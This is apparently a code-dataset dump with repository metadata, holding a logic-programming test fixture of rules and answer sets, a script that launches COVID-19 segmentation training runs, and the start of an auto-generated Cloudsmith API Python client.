p1|p15|p15|p11:-not p5,p24.
not_p23|p7|not_p17|p5:-p13,not p3.
p11|not_p20|not_p1|not_p4:-p24,p2.
p6|not_p15|p7|p17:-p6,p1.
"""
output = """
{not_p8, p15, not_p5, not_p4, not_p3}
{not_p8, p15, not_p5, not_p4, not_p25}
{not_p8, p9, p15, not_p5, not_p4}
{not_p8, p21, p14, p15, not_p5, not_p4}
{not_p8, not_p20, p14, p15, not_p5, not_p4}
{p12, not_p8, p14, p15, not_p5, not_p4}
{p17, p21, p15, not_p5, not_p4, not_p3}
{p17, not_p20, p15, not_p5, not_p4, not_p3}
{p17, p12, p15, not_p5, not_p4, not_p3}
{p17, p21, p15, not_p5, not_p4, not_p25}
{p17, not_p20, p15, not_p5, not_p4, not_p25}
{p17, p12, p15, not_p5, not_p4, not_p25}
{p17, p21, p9, p15, not_p5, not_p4}
{p17, not_p20, p9, p15, not_p5, not_p4}
{p17, p12, p9, p15, not_p5, not_p4}
{p17, p21, p14, p15, not_p5, not_p4}
{p17, not_p20, p14, p15, not_p5, not_p4}
{p17, p12, p14, p15, not_p5, not_p4}
{p8, p15, not_p5, not_p4, not_p19, not_p3}
{p12, p15, not_p5, not_p4, not_p19, not_p3}
{p8, p6, p15, not_p5, not_p4, not_p3}
{p12, p6, p15, not_p5, not_p4, not_p3}
{p8, p15, not_p5, not_p4, not_p19, not_p25}
{p12, p15, not_p5, not_p4, not_p19, not_p25}
{p8, p6, p15, not_p5, not_p4, not_p25}
{p12, p6, p15, not_p5, not_p4, not_p25}
{p8, p9, p15, not_p5, not_p4, not_p19}
{p12, p9, p15, not_p5, not_p4, not_p19}
{p8, p21, p14, p15, not_p5, not_p4, not_p19}
{p8, not_p20, p14, p15, not_p5, not_p4, not_p19}
{p12, p14, p15, not_p5, not_p4, not_p19}
{p8, p6, p9, p15, not_p5, not_p4}
{p12, p6, p9, p15, not_p5, not_p4}
{p8, p21, p14, p6, p15, not_p5, not_p4}
{p8, not_p20, p14, p6, p15, not_p5, not_p4}
{p12, p14, p6, p15, not_p5, not_p4}
{p8, p5, p14, p15, p25, not_p4, not_p19}
{p8, p5, p14, p15, p22, not_p4, not_p19}
{not_p8, p5, p14, p15, p25, not_p4}
{p17, p5, p14, p15, p25, not_p4}
{p8, p5, p14, p6, p15, p25, not_p4}
{not_p8, p5, p14, p15, p22, not_p4}
{p17, p5, p14, p15, p22, not_p4}
{p8, p5, p14, p6, p15, p22, not_p4}
{p17, p5, p15, not_p4, not_p3}
{p17, p5, p15, not_p4, not_p25}
{p17, p5, p9, p15, not_p4}
{not_p8, p11, p24, not_p5, not_p4, not_p18, not_p3}
{not_p8, p11, p24, not_p5, not_p4, not_p18, not_p25}
{not_p8, p11, p24, p9, not_p5, not_p4, not_p18}
{not_p8, p11, p24, p21, p14, not_p5, not_p4, not_p18}
{not_p8, p11, not_p20, p24, p14, not_p5, not_p4, not_p18}
{p12, not_p8, p11, p24, p14, not_p5, not_p4, not_p18}
{p17, p11, p24, p21, not_p5, not_p4, not_p18, not_p3}
{p17, p11, not_p20, p24, not_p5, not_p4, not_p18, not_p3}
{p17, p12, p11, p24, not_p5, not_p4, not_p18, not_p3}
{p17, p11, p24, p21, not_p5, not_p4, not_p18, not_p25}
{p17, p11, not_p20, p24, not_p5, not_p4, not_p18, not_p25}
{p17, p12, p11, p24, not_p5, not_p4, not_p18, not_p25}
{p17, p11, p24, p21, p9, not_p5, not_p4, not_p18}
{p17, p11, not_p20, p24, p9, not_p5, not_p4, not_p18}
{p17, p12, p11, p24, p9, not_p5, not_p4, not_p18}
{p17, p11, p24, p21, p14, not_p5, not_p4, not_p18}
{p17, p11, not_p20, p24, p14, not_p5, not_p4, not_p18}
{p17, p12, p11, p24, p14, not_p5, not_p4, not_p18}
{p8, p11, p24, not_p5, not_p4, not_p18, not_p19, not_p3}
{p12, p11, p24, not_p5, not_p4, not_p18, not_p19, not_p3}
{p8, p11, p24, p6, not_p5, not_p4, not_p18, not_p3}
{p12, p11, p24, p6, not_p5, not_p4, not_p18, not_p3}
{p8, p11, p24, not_p5, not_p4, not_p18, not_p19, not_p25}
{p12, p11, p24, not_p5, not_p4, not_p18, not_p19, not_p25}
{p8, p11, p24, p6, not_p5, not_p4, not_p18, not_p25}
{p12, p11, p24, p6, not_p5, not_p4, not_p18, not_p25}
{p8, p11, p24, p9, not_p5, not_p4, not_p18, not_p19}
{p12, p11, p24, p9, not_p5, not_p4, not_p18, not_p19}
{p8, p11, p24, p21, p14, not_p5, not_p4, not_p18, not_p19}
{p8, p11, not_p20, p24, p14, not_p5, not_p4, not_p18, not_p19}
{p12, p11, p24, p14, not_p5, not_p4, not_p18, not_p19}
{p8, p11, p24, p6, p9, not_p5, not_p4, not_p18}
{p12, p11, p24, p6, p9, not_p5, not_p4, not_p18}
{p8, p11, p24, p21, p14, p6, not_p5, not_p4, not_p18}
{p8, p11, not_p20, p24, p14, p6, not_p5, not_p4, not_p18}
{p12, p11, p24, p14, p6, not_p5, not_p4, not_p18}
{not_p8, p24, p1, not_p21, p3, not_p5, not_p4, not_p3}
{not_p8, p24, p1, not_p21, p3, not_p5, not_p4, not_p25}
{not_p8, p24, p6, p9, p1, not_p21, p3, not_p5, p16, not_p4}
{not_p8, not_p15, p24, p6, p9, p1, not_p21, p3, not_p5, not_p4}
{not_p8, p24, p7, p9, p1, not_p21, p3, not_p5, p16, not_p4}
{not_p8, not_p15, p24, p7, p9, p1, not_p21, p3, not_p5, not_p4}
{p12, not_p8, p24, p7, p9, p1, not_p21, p3, not_p5, not_p4}
{not_p8, p24, p21, p14, p1, not_p21, p3, not_p5, not_p4}
{not_p8, not_p20, p24, p14, p1, not_p21, p3, not_p5, not_p4}
{p12, not_p8, p24, p14, p1, not_p21, p3, not_p5, not_p4}
{not_p8, p24, p1, p20, not_p5, not_p4, not_p3}
{not_p8, p24, p18, p1, not_p5, not_p4, not_p3}
{not_p8, p24, p1, p20, not_p5, not_p4, not_p25}
{not_p8, p24, p18, p1, not_p5, not_p4, not_p25}
{not_p8, p24, p18, p9, p1, not_p5, not_p4}
{not_p8, p24, p6, p9, p1, p20, not_p5, p16, not_p4}
{not_p8, p24, p7, p9, p1, p20, not_p5, p16, not_p4}
{not_p8, not_p15, p24, p6, p9, p1, p20, not_p5, not_p4}
{not_p8, not_p15, p24, p7, p9, p1, p20, not_p5, not_p4}
{p12, not_p8, p24, p7, p9, p1, p20, not_p5, not_p4}
{not_p8, p24, p21, p14, p1, p20, not_p5, not_p4}
{not_p8, not_p20, p24, p14, p1, p20, not_p5, not_p4}
{p12, not_p8, p24, p14, p1, p20, not_p5, not_p4}
{not_p8, p24, p21, p14, p18, p1, not_p5, not_p4}
{not_p8, not_p20, p24, p14, p18, p1, not_p5, not_p4}
{p12, not_p8, p24, p14, p18, p1, not_p5, not_p4}
{p12, p24, p14, p6, p1, p20, not_p5, not_p4}
{p12, p24, p14, p1, p20, not_p5, not_p4, not_p19}
{p17, p12, p24, p14, p1, p20, not_p5, not_p4}
{p12, p24, p14, p6, p1, not_p21, p3, not_p5, not_p4}
{p12, p24, p14, p1, not_p21, p3, not_p5, not_p4, not_p19}
{p17, p12, p24, p14, p1, not_p21, p3, not_p5, not_p4}
{p12, p24, p14, p6, p18, p1, not_p5, not_p4}
{p12, p24, p14, p18, p1, not_p5, not_p4, not_p19}
{p17, p12, p24, p14, p18, p1, not_p5, not_p4}
{p17, p24, p21, p14, p1, p20, not_p5, not_p4}
{p17, p24, p21, p14, p1, not_p21, p3, not_p5, not_p4}
{p17, p24, p21, p14, p18, p1, not_p5, not_p4}
{p8, p24, p21, p14, p1, p20, not_p5, not_p4, not_p19}
{p8, p24, p21, p14, p6, p1, p20, not_p5, p16, not_p4}
{p8, not_p15, p24, p21, p14, p6, p1, p20, not_p5, not_p4}
{p8, p24, p21, p14, p1, not_p21, p3, not_p5, not_p4, not_p19}
{p8, p24, p21, p14, p6, p1, not_p21, p3, not_p5, p16, not_p4}
{p8, not_p15, p24, p21, p14, p6, p1, not_p21, p3, not_p5, not_p4}
{p8, p24, p21, p14, p18, p1, not_p5, not_p4, not_p19}
{p8, p24, p21, p14, p6, p18, p1, not_p5, p16, not_p4}
{p8, not_p15, p24, p21, p14, p6, p18, p1, not_p5, not_p4}
{p17, not_p20, p24, p14, p1, p20, not_p5, not_p4}
{p17, not_p20, p24, p14, p1, not_p21, p3, not_p5, not_p4}
{p17, not_p20, p24, p14, p18, p1, not_p5, not_p4}
{p8, not_p20, p24, p14, p1, not_p21, p3, not_p5, not_p4, not_p19}
{p8, not_p20, p24, p14, p6, p1, not_p21, p3, not_p5, p16, not_p4}
{p8, not_p20, not_p15, p24, p14, p6, p1, not_p21, p3, not_p5, not_p4}
{p8, not_p20, p24, p14, p1, p20, not_p5, not_p4, not_p19}
{p8, not_p20, p24, p14, p6, p1, p20, not_p5, p16, not_p4}
{p8, not_p20, not_p15, p24, p14, p6, p1, p20, not_p5, not_p4}
{p8, not_p20, p24, p14, p18, p1, not_p5, not_p4, not_p19}
{p8, not_p20, p24, p14, p6, p18, p1, not_p5, p16, not_p4}
{p8, not_p20, not_p15, p24, p14, p6, p18, p1, not_p5, not_p4}
{p17, p24, p21, p1, p20, not_p5, not_p4, not_p3}
{p17, not_p20, p24, p1, p20, not_p5, not_p4, not_p3}
{p17, p12, p24, p1, p20, not_p5, not_p4, not_p3}
{p17, p24, p21, p1, p20, not_p5, not_p4, not_p25}
{p17, not_p20, p24, p1, p20, not_p5, not_p4, not_p25}
{p17, p12, p24, p1, p20, not_p5, not_p4, not_p25}
{p17, p24, p21, p6, p9, p1, p20, not_p5, p16, not_p4}
{p17, p24, p21, p7, p9, p1, p20, not_p5, p16, not_p4}
{p17, not_p15, p24, p21, p6, p9, p1, p20, not_p5, not_p4}
{p17, not_p15, p24, p21, p7, p9, p1, p20, not_p5, not_p4}
{p17, not_p20, p24, p6, p9, p1, p20, not_p5, p16, not_p4}
{p17, not_p20, p24, p7, p9, p1, p20, not_p5, p16, not_p4}
{p17, not_p20, not_p15, p24, p6, p9, p1, p20, not_p5, not_p4}
{p17, not_p20, not_p15, p24, p7, p9, p1, p20, not_p5, not_p4}
{p17, p12, p24, p7, p9, p1, p20, not_p5, not_p4}
{p8, p24, p1, p20, not_p5, not_p4, not_p19, not_p3}
{p12, p24, p1, p20, not_p5, not_p4, not_p19, not_p3}
{p8, p24, p6, p1, p20, not_p5, p16, not_p4, not_p3}
{p8, not_p15, p24, p6, p1, p20, not_p5, not_p4, not_p3}
{p12, p24, p6, p1, p20, not_p5, not_p4, not_p3}
{p8, p24, p1, p20, not_p5, not_p4, not_p19, not_p25}
{p12, p24, p1, p20, not_p5, not_p4, not_p19, not_p25}
{p8, p24, p6, p1, p20, not_p5, p16, not_p4, not_p25}
{p8, not_p15, p24, p6, p1, p20, not_p5, not_p4, not_p25}
{p12, p24, p6, p1, p20, not_p5, not_p4, not_p25}
{p12, p24, p7, p9, p1, p20, not_p5, not_p4, not_p19}
{p8, not_p15, p24, p7, p9, p1, p20, not_p5, not_p4, not_p19}
{p8, p24, p7, p9, p1, p20, not_p5, p16, not_p4, not_p19}
{p12, p24, p6, p9, p1, p20, not_p5, not_p4}
{p8, p24, p6, p9, p1, p20, not_p5, p16, not_p4}
{p8, not_p15, p24, p6, p9, p1, p20, not_p5, not_p4}
{p17, p24, p21, p1, not_p21, p3, not_p5, not_p4, not_p3}
{p17, not_p20, p24, p1, not_p21, p3, not_p5, not_p4, not_p3}
{p17, p12, p24, p1, not_p21, p3, not_p5, not_p4, not_p3}
{p17, p24, p21, p1, not_p21, p3, not_p5, not_p4, not_p25}
{p17, not_p20, p24, p1, not_p21, p3, not_p5, not_p4, not_p25}
{p17, p12, p24, p1, not_p21, p3, not_p5, not_p4, not_p25}
{p17, p24, p21, p6, p9, p1, not_p21, p3, not_p5, p16, not_p4}
{p17, not_p15, p24, p21, p6, p9, p1, not_p21, p3, not_p5, not_p4}
{p17, p24, p21, p7, p9, p1, not_p21, p3, not_p5, p16, not_p4}
{p17, not_p15, p24, p21, p7, p9, p1, not_p21, p3, not_p5, not_p4}
{p17, not_p20, p24, p6, p9, p1, not_p21, p3, not_p5, p16, not_p4}
{p17, not_p20, not_p15, p24, p6, p9, p1, not_p21, p3, not_p5, not_p4}
{p17, not_p20, p24, p7, p9, p1, not_p21, p3, not_p5, p16, not_p4}
{p17, not_p20, not_p15, p24, p7, p9, p1, not_p21, p3, not_p5, not_p4}
{p17, p12, p24, p7, p9, p1, not_p21, p3, not_p5, not_p4}
{p8, p24, p1, not_p21, p3, not_p5, not_p4, not_p19, not_p3}
{p12, p24, p1, not_p21, p3, not_p5, not_p4, not_p19, not_p3}
{p8, p24, p6, p1, not_p21, p3, not_p5, p16, not_p4, not_p3}
{p8, not_p15, p24, p6, p1, not_p21, p3, not_p5, not_p4, not_p3}
{p12, p24, p6, p1, not_p21, p3, not_p5, not_p4, not_p3}
{p8, p24, p1, not_p21, p3, not_p5, not_p4, not_p19, not_p25}
{p12, p24, p1, not_p21, p3, not_p5, not_p4, not_p19, not_p25}
{p8, p24, p6, p1, not_p21, p3, not_p5, p16, not_p4, not_p25}
{p8, not_p15, p24, p6, p1, not_p21, p3, not_p5, not_p4, not_p25}
{p12, p24, p6, p1, not_p21, p3, not_p5, not_p4, not_p25}
{p12, p24, p7, p9, p1, not_p21, p3, not_p5, not_p4, not_p19}
{p8, p24, p7, p9, p1, not_p21, p3, not_p5, p16, not_p4, not_p19}
{p8, not_p15, p24, p7, p9, p1, not_p21, p3, not_p5, not_p4, not_p19}
{p12, p24, p6, p9, p1, not_p21, p3, not_p5, not_p4}
{p8, p24, p6, p9, p1, not_p21, p3, not_p5, p16, not_p4}
{p8, not_p15, p24, p6, p9, p1, not_p21, p3, not_p5, not_p4}
{p17, p24, p21, p18, p9, p1, not_p5, not_p4}
{p17, not_p20, p24, p18, p9, p1, not_p5, not_p4}
{p17, p12, p24, p18, p9, p1, not_p5, not_p4}
{p17, p24, p21, p18, p1, not_p5, not_p4, not_p3}
{p17, not_p20, p24, p18, p1, not_p5, not_p4, not_p3}
{p17, p12, p24, p18, p1, not_p5, not_p4, not_p3}
{p17, p24, p21, p18, p1, not_p5, not_p4, not_p25}
{p17, not_p20, p24, p18, p1, not_p5, not_p4, not_p25}
{p17, p12, p24, p18, p1, not_p5, not_p4, not_p25}
{p8, p24, p18, p9, p1, not_p5, not_p4, not_p19}
{p8, p24, p18, p1, not_p5, not_p4, not_p19, not_p3}
{p8, p24, p18, p1, not_p5, not_p4, not_p19, not_p25}
{p12, p24, p18, p9, p1, not_p5, not_p4, not_p19}
{p12, p24, p18, p1, not_p5, not_p4, not_p19, not_p3}
{p12, p24, p18, p1, not_p5, not_p4, not_p19, not_p25}
{p8, p24, p6, p18, p9, p1, not_p5, p16, not_p4}
{p8, p24, p6, p18, p1, not_p5, p16, not_p4, not_p3}
{p8, p24, p6, p18, p1, not_p5, p16, not_p4, not_p25}
{p8, not_p15, p24, p6, p18, p9, p1, not_p5, not_p4}
{p8, not_p15, p24, p6, p18, p1, not_p5, not_p4, not_p3}
{p8, not_p15, p24, p6, p18, p1, not_p5, not_p4, not_p25}
{p12, p24, p6, p18, p9, p1, not_p5, not_p4}
{p12, p24, p6, p18, p1, not_p5, not_p4, not_p3}
{p12, p24, p6, p18, p1, not_p5, not_p4, not_p25}
{p8, p24, p5, p14, p25, not_p4, not_p19}
{p8, p24, p5, p14, p22, not_p4, not_p19}
{not_p8, p24, p5, p14, p25, not_p4}
{p17, p24, p5, p14, p25, not_p4}
{p8, p24, p5, p14, p6, p25, not_p4}
{not_p8, p24, p5, p14, p22, not_p4}
{p17, p24, p5, p14, p22, not_p4}
{p8, p24, p5, p14, p6, p22, not_p4}
{p17, p24, p5, not_p4, not_p3}
{p17, p24, p5, not_p4, not_p25}
{p17, p24, p5, p9, not_p4}
{not_p8, p24, p4, p9, p1, p20, not_p5, p16}
{not_p8, not_p15, p24, p4, p9, p1, p20, not_p5}
{p12, not_p8, p24, p4, p9, p1, p20, not_p5}
{p8, p24, p4, p9, p1, p20, not_p5, p16, not_p19}
{p8, not_p15, p24, p4, p9, p1, p20, not_p5, not_p19}
{p12, p24, p4, p9, p1, p20, not_p5, not_p19}
{p17, p12, p24, p4, p9, p1, p20, not_p5}
{p17, p24, p21, p4, p9, p1, p20, not_p5, p16}
{p17, not_p20, p24, p4, p9, p1, p20, not_p5, p16}
{p17, not_p15, p24, p21, p4, p9, p1, p20, not_p5}
{p17, not_p20, not_p15, p24, p4, p9, p1, p20, not_p5}
{not_p8, p24, p4, p9, p1, not_p21, p3, not_p5, p16}
{not_p8, not_p15, p24, p4, p9, p1, not_p21, p3, not_p5}
{p12, not_p8, p24, p4, p9, p1, not_p21, p3, not_p5}
{p8, p24, p4, p9, p1, not_p21, p3, not_p5, p16, not_p19}
{p8, not_p15, p24, p4, p9, p1, not_p21, p3, not_p5, not_p19}
{p12, p24, p4, p9, p1, not_p21, p3, not_p5, not_p19}
{p17, p12, p24, p4, p9, p1, not_p21, p3, not_p5}
{p17, p24, p21, p4, p9, p1, not_p21, p3, not_p5, p16}
{p17, not_p20, p24, p4, p9, p1, not_p21, p3, not_p5, p16}
{p17, not_p15, p24, p21, p4, p9, p1, not_p21, p3, not_p5}
{p17, not_p20, not_p15, p24, p4, p9, p1, not_p21, p3, not_p5}
{not_p8, p2, not_p22, p3, not_p5, not_p4, not_p3}
{not_p8, p2, not_p22, p3, not_p5, not_p4, not_p25}
{not_p8, p2, p9, not_p22, p3, not_p5, not_p4}
{not_p8, p2, p21, p14, not_p22, p3, not_p5, not_p4}
{not_p8, not_p20, p2, p14, not_p22, p3, not_p5, not_p4}
{p12, not_p8, p2, p14, not_p22, p3, not_p5, not_p4}
{not_p8, p11, p2, not_p22, not_p5, not_p4, not_p3}
{not_p8, p11, p2, not_p22, not_p5, not_p4, not_p25}
{not_p8, p11, p2, p9, not_p22, not_p5, not_p4}
{not_p8, p11, p2, p21, p14, not_p22, not_p5, not_p4}
{not_p8, p11, not_p20, p2, p14, not_p22, not_p5, not_p4}
{p12, not_p8, p11, p2, p14, not_p22, not_p5, not_p4}
{not_p8, p2, p5, p14, not_p22, p3, p25, not_p4}
{not_p8, p2, p5, p14, not_p22, p22, p3, not_p4}
{not_p8, p11, p2, p5, p14, not_p22, p25, not_p4}
{not_p8, p11, p2, p5, p14, not_p22, p22, not_p4}
{p17, p2, p21, not_p22, p3, not_p5, not_p4, not_p3}
{p17, not_p20, p2, not_p22, p3, not_p5, not_p4, not_p3}
{p17, p12, p2, not_p22, p3, not_p5, not_p4, not_p3}
{p17, p2, p21, not_p22, p3, not_p5, not_p4, not_p25}
{p17, not_p20, p2, not_p22, p3, not_p5, not_p4, not_p25}
{p17, p12, p2, not_p22, p3, not_p5, not_p4, not_p25}
{p17, p2, p21, p9, not_p22, p3, not_p5, not_p4}
{p17, not_p20, p2, p9, not_p22, p3, not_p5, not_p4}
{p17, p12, p2, p9, not_p22, p3, not_p5, not_p4}
{p17, p2, p21, p14, not_p22, p3, not_p5, not_p4}
{p17, not_p20, p2, p14, not_p22, p3, not_p5, not_p4}
{p17, p12, p2, p14, not_p22, p3, not_p5, not_p4}
{p17, p11, p2, p21, not_p22, not_p5, not_p4, not_p3}
{p17, p11, not_p20, p2, not_p22, not_p5, not_p4, not_p3}
{p17, p12, p11, p2, not_p22, not_p5, not_p4, not_p3}
{p17, p11, p2, p21, not_p22, not_p5, not_p4, not_p25}
{p17, p11, not_p20, p2, not_p22, not_p5, not_p4, not_p25}
{p17, p12, p11, p2, not_p22, not_p5, not_p4, not_p25}
{p17, p11, p2, p21, p9, not_p22, not_p5, not_p4}
{p17, p11, not_p20, p2, p9, not_p22, not_p5, not_p4}
{p17, p12, p11, p2, p9, not_p22, not_p5, not_p4}
{p17, p11, p2, p21, p14, not_p22, not_p5, not_p4}
{p17, p11, not_p20, p2, p14, not_p22, not_p5, not_p4}
{p17, p12, p11, p2, p14, not_p22, not_p5, not_p4}
{p17, p2, p5, not_p22, p3, not_p4, not_p3}
{p17, p2, p5, not_p22, p3, not_p4, not_p25}
{p17, p2, p5, p9, not_p22, p3, not_p4}
{p17, p2, p5, p14, not_p22, p3, p25, not_p4}
{p17, p2, p5, p14, not_p22, p22, p3, not_p4}
{p17, p11, p2, p5, not_p22, not_p4, not_p3}
{p17, p11, p2, p5, not_p22, not_p4, not_p25}
{p17, p11, p2, p5, p9, not_p22, not_p4}
{p17, p11, p2, p5, p14, not_p22, p25, not_p4}
{p17, p11, p2, p5, p14, not_p22, p22, not_p4}
{p8, p2, p5, p14, not_p22, p3, p25, not_p4, not_p19}
{p8, p2, p5, p14, p6, not_p22, p3, p25, not_p4}
{p8, p11, p2, p5, p14, not_p22, p25, not_p4, not_p19}
{p8, p11, p2, p5, p14, p6, not_p22, p25, not_p4}
{p8, p2, p5, p14, not_p22, p22, p3, not_p4, not_p19}
{p8, p2, p5, p14, p6, not_p22, p22, p3, not_p4}
{p8, p11, p2, p5, p14, not_p22, p22, not_p4, not_p19}
{p8, p11, p2, p5, p14, p6, not_p22, p22, not_p4}
{p12, p2, p14, not_p22, p3, not_p5, not_p4, not_p19}
{p12, p2, not_p22, p3, not_p5, not_p4, not_p19, not_p3}
{p12, p2, not_p22, p3, not_p5, not_p4, not_p19, not_p25}
{p12, p2, p9, not_p22, p3, not_p5, not_p4, not_p19}
{p12, p2, p14, p6, not_p22, p3, not_p5, not_p4}
{p12, p2, p6, not_p22, p3, not_p5, not_p4, not_p3}
{p12, p2, p6, not_p22, p3, not_p5, not_p4, not_p25}
{p12, p2, p6, p9, not_p22, p3, not_p5, not_p4}
{p12, p11, p2, p14, not_p22, not_p5, not_p4, not_p19}
{p12, p11, p2, not_p22, not_p5, not_p4, not_p19, not_p3}
{p12, p11, p2, not_p22, not_p5, not_p4, not_p19, not_p25}
{p12, p11, p2, p9, not_p22, not_p5, not_p4, not_p19}
{p12, p11, p2, p14, p6, not_p22, not_p5, not_p4}
{p12, p11, p2, p6, not_p22, not_p5, not_p4, not_p3}
{p12, p11, p2, p6, not_p22, not_p5, not_p4, not_p25}
{p12, p11, p2, p6, p9, not_p22, not_p5, not_p4}
{p8, p2, not_p22, p3, not_p5, not_p4, not_p19, not_p3}
{p8, p2, not_p22, p3, not_p5, not_p4, not_p19, not_p25}
{p8, p2, p9, not_p22, p3, not_p5, not_p4, not_p19}
{p8, p2, p21, p14, not_p22, p3, not_p5, not_p4, not_p19}
{p8, not_p20, p2, p14, not_p22, p3, not_p5, not_p4, not_p19}
{p8, p2, p6, not_p22, p3, not_p5, not_p4, not_p3}
{p8, p2, p6, not_p22, p3, not_p5, not_p4, not_p25}
{p8, p2, p6, p9, not_p22, p3, not_p5, not_p4}
{p8, p2, p21, p14, p6, not_p22, p3, not_p5, not_p4}
{p8, not_p20, p2, p14, p6, not_p22, p3, not_p5, not_p4}
{p8, p11, p2, not_p22, not_p5, not_p4, not_p19, not_p3}
{p8, p11, p2, not_p22, not_p5, not_p4, not_p19, not_p25}
{p8, p11, p2, p9, not_p22, not_p5, not_p4, not_p19}
{p8, p11, p2, p21, p14, not_p22, not_p5, not_p4, not_p19}
{p8, p11, not_p20, p2, p14, not_p22, not_p5, not_p4, not_p19}
{p8, p11, p2, p6, not_p22, not_p5, not_p4, not_p3}
{p8, p11, p2, p6, not_p22, not_p5, not_p4, not_p25}
{p8, p11, p2, p6, p9, not_p22, not_p5, not_p4}
{p8, p11, p2, p21, p14, p6, not_p22, not_p5, not_p4}
{p8, p11, not_p20, p2, p14, p6, not_p22, not_p5, not_p4}
"""
| 48.26
| 69
| 0.661625
| 4,382
| 19,304
| 2.63099
| 0.00639
| 0.146587
| 0.185272
| 0.225518
| 0.944922
| 0.928181
| 0.911267
| 0.869807
| 0.825137
| 0.73198
| 0
| 0.282522
| 0.156185
| 19,304
| 399
| 70
| 48.380952
| 0.425256
| 0
| 0
| 0.005013
| 0
| 0.132832
| 0.998394
| 0.03507
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
65be33af201ddaf8d9594674049b796d8d43bfdb
| 545
|
py
|
Python
|
train_covid19china_timm-regnetx_002_flip.py
|
BrunoKrinski/segtool
|
cb604b5f38104c43a76450136e37c3d1c4b6d275
|
[
"MIT"
] | null | null | null |
train_covid19china_timm-regnetx_002_flip.py
|
BrunoKrinski/segtool
|
cb604b5f38104c43a76450136e37c3d1c4b6d275
|
[
"MIT"
] | null | null | null |
train_covid19china_timm-regnetx_002_flip.py
|
BrunoKrinski/segtool
|
cb604b5f38104c43a76450136e37c3d1c4b6d275
|
[
"MIT"
] | null | null | null |
import os
ls=["python main.py --configs configs/train_covid19china_unetplusplus_timm-regnetx_002_fold0_flip.yml",
"python main.py --configs configs/train_covid19china_unetplusplus_timm-regnetx_002_fold1_flip.yml",
"python main.py --configs configs/train_covid19china_unetplusplus_timm-regnetx_002_fold2_flip.yml",
"python main.py --configs configs/train_covid19china_unetplusplus_timm-regnetx_002_fold3_flip.yml",
"python main.py --configs configs/train_covid19china_unetplusplus_timm-regnetx_002_fold4_flip.yml",
]
for l in ls:
os.system(l)
| 49.545455
| 103
| 0.847706
| 80
| 545
| 5.4
| 0.3
| 0.115741
| 0.138889
| 0.219907
| 0.863426
| 0.863426
| 0.863426
| 0.863426
| 0.863426
| 0.863426
| 0
| 0.058366
| 0.056881
| 545
| 11
| 104
| 49.545455
| 0.782101
| 0
| 0
| 0
| 0
| 0
| 0.879121
| 0.650183
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.111111
| 0
| 0.111111
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
f3045ba92c48897387e53decbf37ec6fde7397c4
| 8,505
|
py
|
Python
|
bindings/python/src/cloudsmith_api/apis/user_api.py
|
cloudsmith-io/cloudsmith-api
|
bc747fa6ee1d86485e334b08f65687630b3fd87c
|
[
"Apache-2.0"
] | 9
|
2018-07-02T15:21:40.000Z
|
2021-11-24T03:44:39.000Z
|
bindings/python/src/cloudsmith_api/apis/user_api.py
|
cloudsmith-io/cloudsmith-api
|
bc747fa6ee1d86485e334b08f65687630b3fd87c
|
[
"Apache-2.0"
] | 8
|
2019-01-08T22:06:12.000Z
|
2022-03-16T15:02:37.000Z
|
bindings/python/src/cloudsmith_api/apis/user_api.py
|
cloudsmith-io/cloudsmith-api
|
bc747fa6ee1d86485e334b08f65687630b3fd87c
|
[
"Apache-2.0"
] | 1
|
2021-12-06T19:08:05.000Z
|
2021-12-06T19:08:05.000Z
|
# coding: utf-8
"""
Cloudsmith API
The API to the Cloudsmith Service
OpenAPI spec version: v1
Contact: support@cloudsmith.io
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import sys
import os
import re
# python 2 and python 3 compatibility library
from six import iteritems
from ..configuration import Configuration
from ..api_client import ApiClient
class UserApi(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
config = Configuration()
if api_client:
self.api_client = api_client
else:
if not config.api_client:
config.api_client = ApiClient()
self.api_client = config.api_client
def user_self(self, **kwargs):
"""
Provide a brief for the current user (if any).
Provide a brief for the current user (if any).
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.user_self(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:return: UserBrief
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.user_self_with_http_info(**kwargs)
else:
(data) = self.user_self_with_http_info(**kwargs)
return data
def user_self_with_http_info(self, **kwargs):
"""
Provide a brief for the current user (if any).
Provide a brief for the current user (if any).
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.user_self_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:return: UserBrief
If the method is called asynchronously,
returns the request thread.
"""
all_params = []
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method user_self" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['apikey']
return self.api_client.call_api('/user/self/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='UserBrief',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def user_token_create(self, **kwargs):
"""
Retrieve the API key/token for the authenticated user.
